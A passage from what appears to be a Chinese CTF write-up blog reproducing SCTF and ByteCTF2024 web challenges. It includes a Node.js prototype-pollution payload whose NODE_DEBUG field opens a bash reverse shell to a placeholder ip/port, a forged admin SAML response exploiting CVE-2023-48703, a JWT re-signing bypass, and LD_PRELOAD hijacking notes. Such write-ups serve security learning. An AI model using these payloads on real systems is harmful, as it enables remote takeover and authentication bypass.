class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">patchChildProcess</span>(<span class="params">cp</span>) &#123;</span><br><span class="line"></span><br><span class="line">    cp.<span class="property">execFile</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">execFile</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>(<span class="literal">true</span>) &#125;);</span><br><span class="line">    cp.<span class="property">fork</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">fork</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>(<span class="literal">true</span>) &#125;);</span><br><span class="line">    cp.<span class="property">spawn</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">spawn</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>(<span class="literal">true</span>) &#125;);</span><br><span class="line">    cp.<span class="property">execFileSync</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">execFileSync</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>(<span class="literal">true</span>) &#125;);</span><br><span class="line">    cp.<span class="property">execSync</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">execSync</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>() &#125;);</span><br><span class="line">    cp.<span class="property">spawnSync</span> = <span class="keyword">new</span> <span class="title class_">Proxy</span>(cp.<span class="property">spawnSync</span>, &#123; <span class="attr">apply</span>: <span class="title function_">patchOptions</span>(<span class="literal">true</span>) &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> cp;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">patchOptions</span>(<span class="params">hasArgs</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">function</span> <span class="title function_">apply</span>(<span class="params">target, thisArg, args</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> pos = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">if</span> (pos === args.<span class="property">length</span>) &#123;</span><br><span class="line">            args[pos] = <span class="title function_">prototypelessSpawnOpts</span>();</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (pos &lt; args.<span class="property">length</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (hasArgs &amp;&amp; (<span class="title class_">Array</span>.<span class="title function_">isArray</span>(args[pos]) || args[pos] == <span class="literal">null</span>)) &#123;</span><br><span class="line">                pos++;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">typeof</span> args[pos] === <span class="string">&#x27;object&#x27;</span> &amp;&amp; args[pos] !== <span class="literal">null</span>) &#123;</span><br><span class="line">                args[pos] = <span class="title function_">prototypelessSpawnOpts</span>(args[pos]);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (args[pos] == <span class="literal">null</span>) &#123;</span><br><span class="line">                args[pos] = <span class="title function_">prototypelessSpawnOpts</span>();</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">typeof</span> args[pos] === <span class="string">&#x27;function&#x27;</span>) &#123;</span><br><span class="line">                args.<span class="title function_">splice</span>(pos, <span class="number">0</span>, <span class="title function_">prototypelessSpawnOpts</span>());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> target.<span class="title function_">apply</span>(thisArg, args);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">prototypelessSpawnOpts</span>(<span class="params">obj</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> prototypelessObj = <span class="title class_">Object</span>.<span class="title function_">assign</span>(<span class="title class_">Object</span>.<span class="title function_">create</span>(<span class="literal">null</span>), obj);</span><br><span class="line">    prototypelessObj.<span class="property">env</span> = <span class="title class_">Object</span>.<span class="title function_">assign</span>(<span class="title class_">Object</span>.<span class="title function_">create</span>(<span class="literal">null</span>), prototypelessObj.<span class="property">env</span> || process.<span class="property">env</span>);</span><br><span class="line">    <span class="keyword">return</span> prototypelessObj;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = patchChildProcess;</span><br></pre></td></tr></table></figure></div><p>这些文件应该是可以 fuzz 出来的</p><p><code>Proxy</code>  对象用于创建一个对象的代理，从而实现基本操作的拦截和自定义（如属性查找、赋值、枚举、函数调用等）。这里创建了一个自定义的，patch 的 spawn 函数，启用了 <code>patchOptions</code>  参数。</p><p>关注 <code>shell</code>  属性：</p><ul><li><code>shell</code>   <code>&lt;boolean&gt;</code> | <code>&lt;string&gt;</code>  如果是  <code>true</code> ，则在 shell 内运行  <code>command</code> 。 在 Unix 上使用  <code>'/bin/sh'</code> ，在 Windows 上使用  <code>process.env.ComSpec</code> 。 可以将不同的 shell 指定为字符串。 请参阅 <a class="link" href="https://nodejs.cn/api/child_process.html#shell-requirements">shell 的要求 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>和<a class="link" href="https://nodejs.cn/api/child_process.html#default-windows-shell">默认的 Windows shell <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。 <strong>默认值:</strong>  <code>false</code>  （没有 shell）</li></ul><p>nodejs 在查找属性失败后会到原型链上进行查找，尝试污染 shell 参数为 /readflag</p><p><a class="link" href="https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#pp2rce-via-env-vars--cmdline">从 RCE 开始的污染原型 | 黑客技巧 (hacktricks.xyz) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>patch 打新版本 Node.js</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;user&quot;:&quot;__proto__&quot;,</span><br><span class="line">&quot;date&quot;:2,</span><br><span class="line">&quot;reportmessage&quot;: </span><br><span class="line">    &#123;</span><br><span class="line">    &quot;shell&quot;:&quot;/readflag&quot;,</span><br><span class="line">    &quot;env&quot;: </span><br><span class="line">        &#123;</span><br><span class="line">            &quot;NODE_DEBUG&quot;: &quot;require(\&quot;child_process\&quot;).exec(\&quot;bash -c &#x27;bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1&#x27;\&quot;);process.exit()//&quot;,</span><br><span class="line">        &quot;NODE_OPTIONS&quot;: &quot;--require /proc/self/environ&quot;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>主要内容分析：</strong></p><ol><li><strong> <code>user</code>  字段</strong>：<ul><li>通过将  <code>user</code>  设置为  <code>&quot;__proto__&quot;</code> ，攻击者试图利用 JavaScript 的原型污染漏洞。这意味着所有操作的对象都可能会继承这个污染的原型链。</li></ul></li><li><strong> <code>reportmessage</code>  中的  <code>shell</code>  字段</strong>：<ul><li><code>shell</code>  字段被设置为  <code>/readflag</code> ，攻击者可能是试图在某个 CTF（夺旗赛）或安全场景中读取系统中的敏感文件（比如 “flag” 文件），而  <code>/readflag</code>  很可能是用于读取服务器上关键文件的命令。</li></ul></li><li><strong> <code>env</code>  环境变量的注入</strong>：<ul><li><code>env</code>  包含了两个重要的环境变量，攻击者利用这些来劫持 Node.js 进程的执行行为。</li><li><strong> <code>NODE_DEBUG</code> </strong>：该变量通常用于调试 Node.js 进程，但攻击者注入了恶意代码： <code>require(&quot;child_process&quot;).exec(&quot;bash -c 'bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1'&quot;);process.exit()//</code> 。<ul><li>这段代码的目的是通过 Node.js 的  <code>child_process</code>  模块，执行一条 Bash 命令，创建一个反向 Shell 并连接到指定的 IP 地址和端口。</li><li><strong>反向 Shell</strong>：攻击者试图通过反向连接的方式，从目标服务器打开一个 Shell 并让其连接到攻击者控制的机器（ <code>ip:port</code> ）。一旦连接建立，攻击者就可以远程控制服务器。</li></ul></li><li><strong> <code>NODE_OPTIONS</code> </strong>：设置为  <code>--require /proc/self/environ</code> ，这意味着在 Node.js 启动时，会自动加载并执行  <code>/proc/self/environ</code>  中的环境变量。<ul><li><code>/proc/self/environ</code>  是 Linux 系统中当前进程的环境变量文件。通过将  <code>NODE_OPTIONS</code>  设置为  <code>--require</code> ，Node.js 将会读取该文件中的内容，执行其中嵌入的任何恶意代码。</li><li>结合上面的  <code>NODE_DEBUG</code>  变量，这实际上是确保该恶意代码在 Node.js 启动时执行。</li></ul></li></ul></li></ol><h3 id="ezrender"><a class="markdownIt-Anchor" href="#ezrender">#</a> ezRender</h3><p>SSTI flash 内存🐎</p><p><a class="link" href="https://l1nk.icu/2024/09/05/Flask%E5%86%85%E5%AD%98%E9%A9%AC/">Flask 内存马 | L1nk’s Blog <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;sctf-复现&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#sctf-复现&quot;&gt;#&lt;/a&gt; SCTF 复现&lt;/h2&gt;
&lt;h3 id=&quot;sycserver20&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#sy</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>ByteCTF2024 WP</title>
    <link href="http://example.com/2024/10/10/ByteCTF2024-WP/"/>
    <id>http://example.com/2024/10/10/ByteCTF2024-WP/</id>
    <published>2024-10-10T02:20:25.000Z</published>
    <updated>2024-10-10T08:03:34.950Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ByteCTF2024复现"><a href="#ByteCTF2024复现" class="headerlink" title="ByteCTF2024复现"></a>ByteCTF2024复现</h1><h2 id="ezauth"><a href="#ezauth" class="headerlink" title="ezauth"></a>ezauth</h2><h3 id="SAML"><a href="#SAML" class="headerlink" title="SAML"></a>SAML</h3><p>SAML（Security Assertion Markup Language）是一种用于<strong>在不同域之间安全交换身份验证和授权数据的开放标准</strong>。它允许用户在多个应用程序和服务之间实现单点登录（SSO）。SAML 的核心概念包括：</p><ol><li><strong>身份提供者（IdP）</strong>：负责用户身份验证并生成 SAML 断言，提供用户的身份信息。</li><li><strong>服务提供者（SP）</strong>：接收来自 IdP 的 SAML 断言，根据断言信息来授予用户访问权限。</li><li><strong>SAML 断言</strong>：包含有关用户身份的信息，比如用户的唯一标识符、认证状态、属性等。</li><li><strong>SAML 请求和响应</strong>：用户访问 SP 时，SP 会向 IdP 发送请求（AuthnRequest），IdP 验证用户后生成响应（Response），并将其返回给 SP。</li></ol><p><strong>SAML 的工作流程：</strong></p><ol><li>用户尝试访问 SP 的资源。</li><li>SP 检测到用户尚未登录，并重定向用户到 IdP。</li><li>用户在 IdP 处输入凭据（如用户名和密码）。</li><li>IdP 验证用户身份，生成 SAML 断言，并将其发送回 SP。</li><li>SP 验证 SAML 断言，如果有效，允许用户访问资源。</li></ol><p>go-saml演示：</p><div class="highlight-container" data-rel="Go"><figure class="iseeu highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">&quot;fmt&quot;</span></span><br><span class="line">    <span class="string">&quot;log&quot;</span></span><br><span class="line">    <span class="string">&quot;net/http&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="string">&quot;github.com/gin-gonic/gin&quot;</span></span><br><span class="line">    <span class="string">&quot;github.com/RobotsAndPencils/go-saml&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="comment">// 初始化 SAML 服务提供者设置</span></span><br><span class="line">    sp := &amp;saml.ServiceProviderSettings&#123;</span><br><span class="line">        PublicCertPath:              <span class="string">&quot;./cert/sp-cert.pem&quot;</span>,     <span class="comment">// SP 公钥证书路径</span></span><br><span class="line">        PrivateKeyPath:              <span class="string">&quot;./cert/sp-key.pem&quot;</span>,      <span class="comment">// SP 私钥路径</span></span><br><span class="line">        IDPSSOURL:                   <span class="string">&quot;https://idp.example.com/sso&quot;</span>, <span class="comment">// IdP SSO URL</span></span><br><span class="line">        IDPSSODescriptorURL:         <span class="string">&quot;https://idp.example.com/metadata&quot;</span>, <span class="comment">// IdP Metadata URL</span></span><br><span class="line">        IDPPublicCertPath:           <span class="string">&quot;./cert/idp-cert.pem&quot;</span>,    <span class="comment">// IdP 公钥证书路径</span></span><br><span class="line">        AssertionConsumerServiceURL: <span class="string">&quot;http://localhost:8080/acs&quot;</span>,  <span class="comment">// SP 的断言消费者服务 URL (ACS)</span></span><br><span class="line">        SPSignRequest:               <span class="literal">true</span>,                     <span class="comment">// 是否签署 SAML 请求</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    err := sp.Init()</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        log.Fatalf(<span class="string">&quot;SAML 初始化失败: %s&quot;</span>, err)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    r := gin.Default()</span><br><span class="line"></span><br><span class="line">    <span class="comment">// SAML 登录请求</span></span><br><span class="line">    r.GET(<span class="string">&quot;/saml/login&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">        <span class="comment">// 生成 SAML AuthnRequest 并重定向到 IdP</span></span><br><span class="line">        authnRequest, err := sp.GetAuthnRequest()</span><br><span class="line">        <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">            log.Printf(<span class="string">&quot;生成 SAML 请求失败: %s&quot;</span>, err)</span><br><span class="line">            c.String(http.StatusInternalServerError, <span class="string">&quot;生成 SAML 请求失败&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line">        c.Redirect(http.StatusFound, authnRequest)</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment">// SAML 响应处理 (ACS 端点)</span></span><br><span class="line">    r.POST(<span class="string">&quot;/acs&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">        encodedResponse := c.PostForm(<span class="string">&quot;SAMLResponse&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> encodedResponse == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">            c.JSON(http.StatusBadRequest, gin.H&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;缺少 SAMLResponse 参数&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 解析并验证 SAML 响应</span></span><br><span class="line">        samlResponse, err := saml.ParseEncodedResponse(encodedResponse)</span><br><span class="line">        <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">            log.Printf(<span class="string">&quot;解析 SAML 响应失败: %s&quot;</span>, err)</span><br><span class="line">            c.JSON(http.StatusBadRequest, gin.H&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;解析 SAML 响应失败&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        err = samlResponse.Validate(sp)</span><br><span class="line">        <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">            log.Printf(<span class="string">&quot;SAML 响应验证失败: %s&quot;</span>, err)</span><br><span class="line">            c.JSON(http.StatusBadRequest, gin.H&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;SAML 响应验证失败&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 获取用户属性（如 &quot;uid&quot;）</span></span><br><span class="line">        uid := samlResponse.GetAttribute(<span class="string">&quot;uid&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> uid == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">            c.JSON(http.StatusBadRequest, gin.H&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;缺少 uid 属性&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        c.JSON(http.StatusOK, gin.H&#123;</span><br><span class="line">            <span class="string">&quot;message&quot;</span>: <span class="string">&quot;登录成功&quot;</span>,</span><br><span class="line">            <span class="string">&quot;uid&quot;</span>:     uid,</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    r.GET(<span class="string">&quot;/&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">        c.String(http.StatusOK, <span class="string">&quot;欢迎使用 SAML 示例！&quot;</span>)</span><br><span class="line">    &#125;)</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 启动 HTTP 服务</span></span><br><span class="line">    r.Run(<span class="string">&quot;:8080&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h3><p><strong>CVE-2023-48703</strong></p><p><a class="link" href="https://securitylab.github.com/advisories/GHSL-2023-121_go-saml__archived_/">GHSL-2023-121：RobotsAndPencils&#x2F;go-saml 中存在 SAML 身份验证绕过漏洞 - CVE-2023-48703 |GitHub 安全实验室 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>好难啊Go，引用一下队友Ec3o师傅的复现吧</p><p>⾸先过SAMLResponse的检测，go-saml底层调的是xmlsec1，理论上是存在⼀个CVE-2023-48703的，就是虽然指定了–pubkey-dem，xml⾥边有证书的话还是可以⽤⾥⾯那个验证的，也就是说只需要找⼀个能默认通过X509_verify_cert的证书，⾃⼰签response即可。</p><p>找了⽼半天，由于xmlsec1sign出来的玩意没有中间证书链，要直接从内置的CA签⼀个来的话，⼜好像没办法。然后试了⼀下发现连续放两个<code>&lt;samlsig:X509Certificate&gt;</code>进去，是能正常xmlsec1 verify的，所以随便整个LE啥的搭⽹站⽣成的证书签⼀下，这就解决了&#x2F;acs路由的验证，拿到 random_code跟⼀个guest的JWT。</p><p>（最后才发现它好像调的是GitHub项⽬⾥边默认⾃带的default.key&#x2F;crt？？）  </p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span><br><span class="line"></span><br><span class="line">&lt;samlp:Response xmlns:samlp=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span> xmlns:saml=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span> xmlns:samlsig=<span class="string">&quot;http://www.w3.org/2000/09/xmldsig#&quot;</span> Destination=<span class="string">&quot;http://localhost:8000/saml_consume&quot;</span> ID=<span class="string">&quot;_b38d8561-d69f-48bf-77a5- 783da9328792&quot;</span> Version=<span class="string">&quot;2.0&quot;</span> IssueInstant=<span class="string">&quot;2024-09-21T06:23:13.437230381Z&quot;</span></span><br><span class="line"></span><br><span class="line">InResponseTo=<span class="string">&quot;abc&quot;</span>&gt; &lt;saml:Issuer&gt;http://localhost:8000/saml_consume&lt;/saml:Issuer&gt; &lt;samlsig:Signature Id=<span class="string">&quot;_96c8ed02-c1ee-4322-4233-845ccdead67d&quot;</span>&gt; &lt;samlsig:SignedInfo&gt; &lt;samlsig:CanonicalizationMethod Algorithm=<span class="string">&quot;http://www.w3.org/2001/10/xml-exc-c14n#&quot;</span>/&gt; &lt;samlsig:SignatureMethod Algorithm=<span class="string">&quot;http://www.w3.org/2000/09/xmldsig#rsa-sha1&quot;</span>/&gt; &lt;samlsig:Reference URI=<span class="string">&quot;&quot;</span>&gt; &lt;samlsig:Transforms&gt; &lt;samlsig:Transform Algorithm=<span class="string">&quot;http://www.w3.org/2000/09/xmldsig#enveloped-signature&quot;</span>/&gt; &lt;/samlsig:Transforms&gt; &lt;samlsig:DigestMethod Algorithm=<span class="string">&quot;http://www.w3.org/2000/09/xmldsig#sha1&quot;</span>/&gt; &lt;samlsig:DigestValue&gt;cPCj+ZmNWg+ADY/LiFH88+s/da0= &lt;/samlsig:DigestValue&gt; &lt;/samlsig:Reference&gt; &lt;/samlsig:SignedInfo&gt; &lt;samlsig:SignatureValue&gt;&lt;/samlsig:SignatureValue&gt; &lt;samlsig:KeyInfo&gt; &lt;samlsig:X509Data&gt; &lt;samlsig:X509Certificate&gt;CHAIN1_CERT_B64&lt;/samlsig:X509Certificate&gt;&lt;samlsig:X509Certificate&gt;MY_CERT_B64&lt;/samlsig:X509Certificate&gt; &lt;/samlsig:X509Data&gt; &lt;/samlsig:KeyInfo&gt; &lt;/samlsig:Signature&gt; &lt;samlp:Status&gt; &lt;samlp:StatusCode Value=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:status:Success&quot;</span>/&gt; &lt;/samlp:Status&gt; &lt;saml:Assertion xmlns:xs=<span class="string">&quot;http://www.w3.org/2001/XMLSchema&quot;</span> xmlns:xsi=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span><br><span class="line"></span><br><span class="line">xmlns:saml=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span> ID=<span class="string">&quot;_29cf1612-da76-45f5- 7552-3764fa8b41f2&quot;</span> Version=<span class="string">&quot;2.0&quot;</span> IssueInstant=<span class="string">&quot;2024-09-21T06:23:13.437234459Z&quot;</span>&gt;</span><br><span class="line"></span><br><span class="line">&lt;saml:Issuer&gt;http://localhost:8000/saml_consume&lt;/saml:Issuer&gt; &lt;saml:Subject&gt; &lt;saml:NameID Format=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:nameidformat:transient&quot;</span>&gt;admin&lt;/saml:NameID&gt; &lt;saml:SubjectConfirmation Method=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:cm:bearer&quot;</span>&gt; &lt;saml:SubjectConfirmationData InResponseTo=<span class="string">&quot;abc&quot;</span> NotOnOrAfter=<span class="string">&quot;2034-09-21T06:28:13.437234739Z&quot;</span> Recipient=<span class="string">&quot;http://localhost:8000/saml_consume&quot;</span>/&gt; &lt;/saml:SubjectConfirmation&gt; &lt;/saml:Subject&gt; &lt;saml:Conditions NotBefore=<span class="string">&quot;2024-09-21T06:18:13.43723516Z&quot;</span> NotOnOrAfter=<span class="string">&quot;2034-09-21T06:28:13.43723533Z&quot;</span>/&gt; &lt;saml:AttributeStatement&gt; &lt;saml:Attribute Name=<span class="string">&quot;uid&quot;</span> NameFormat=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:attrname-format:basic&quot;</span>&gt; &lt;saml:AttributeValue xsi:<span class="built_in">type</span>=<span class="string">&quot;xs:string&quot;</span>&gt;admin&lt;/saml:AttributeValue&gt; &lt;/saml:Attribute&gt; &lt;saml:Attribute Name=<span class="string">&quot;email&quot;</span> NameFormat=<span class="string">&quot;urn:oasis:names:tc:SAML:2.0:attrname-format:basic&quot;</span>&gt; &lt;saml:AttributeValue</span><br><span class="line"></span><br><span class="line">xsi:<span class="built_in">type</span>=<span class="string">&quot;xs:string&quot;</span>&gt;someone@domain&lt;/saml:AttributeValue&gt;</span><br><span class="line"></span><br><span class="line">&lt;/saml:Attribute&gt; &lt;/saml:AttributeStatement&gt; &lt;/saml:Assertion&gt; &lt;/samlp:Response&gt;  </span><br></pre></td></tr></table></figure></div><p>然后要绕过JWT，可以发现它有过期则重新签名的逻辑，但是判断了err为ValidationErrorExpired。再仔细看看，会发现这个判断其实并没有那么简单，它分了Inner跟Errors，前者会在验证签名时被</p><p>替换为SignatureInvalid，⽽后者是按位mask的.</p><p>根据代码逻辑能发现，ValidationErrorExpired是能⼀层层传递出来的，也就是说尽管签名验证失败，在后⾯仍会⾛到过期重签的逻辑，根据⾮法的body⽣成⼀个新的JWT，由此可伪造admin。  </p><h2 id="ezobj"><a href="#ezobj" class="headerlink" title="ezobj"></a>ezobj</h2><h3 id="LD-PRELOAD劫持"><a href="#LD-PRELOAD劫持" class="headerlink" title="LD_PRELOAD劫持"></a>LD_PRELOAD劫持</h3><p>在 Linux 系统中，<code>LD_PRELOAD</code> 是一个环境变量，它允许用户在程序启动前指定要预先加载的共享库。在程序执行过程中，系统首先加载 <code>LD_PRELOAD</code> 中指定的共享库，然后再加载程序所依赖的库文件。因此，攻击者可以通过将恶意库放入 <code>LD_PRELOAD</code>，替换目标程序中使用的某些函数，实现功能劫持。</p><p><a class="link" href="https://blog.csdn.net/qq_63701832/article/details/129760495">LD_PRELOAD劫持 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="复现-1"><a href="#复现-1" class="headerlink" title="复现"></a>复现</h3><p>根据wm的wp整理了一下思路</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&quot;display_errors&quot;</span>, <span class="string">&quot;On&quot;</span>);</span><br><span class="line"><span class="keyword">include_once</span>(<span class="string">&quot;config.php&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;so&#x27;</span>]) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;key&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">is_numeric</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;so&#x27;</span>]) &amp;&amp; <span class="variable">$_GET</span>[<span class="string">&#x27;key&#x27;</span>] === <span class="variable">$secret</span>) &#123;</span><br><span class="line">        <span class="title function_ invoke__">array_map</span>(function(<span class="variable">$file</span>) &#123; <span class="keyword">echo</span> <span class="variable">$file</span> . <span class="string">&quot;\n&quot;</span>; &#125;, <span class="title function_ invoke__">glob</span>(<span class="string">&#x27;/tmp/*&#x27;</span>));</span><br><span class="line">        <span class="title function_ 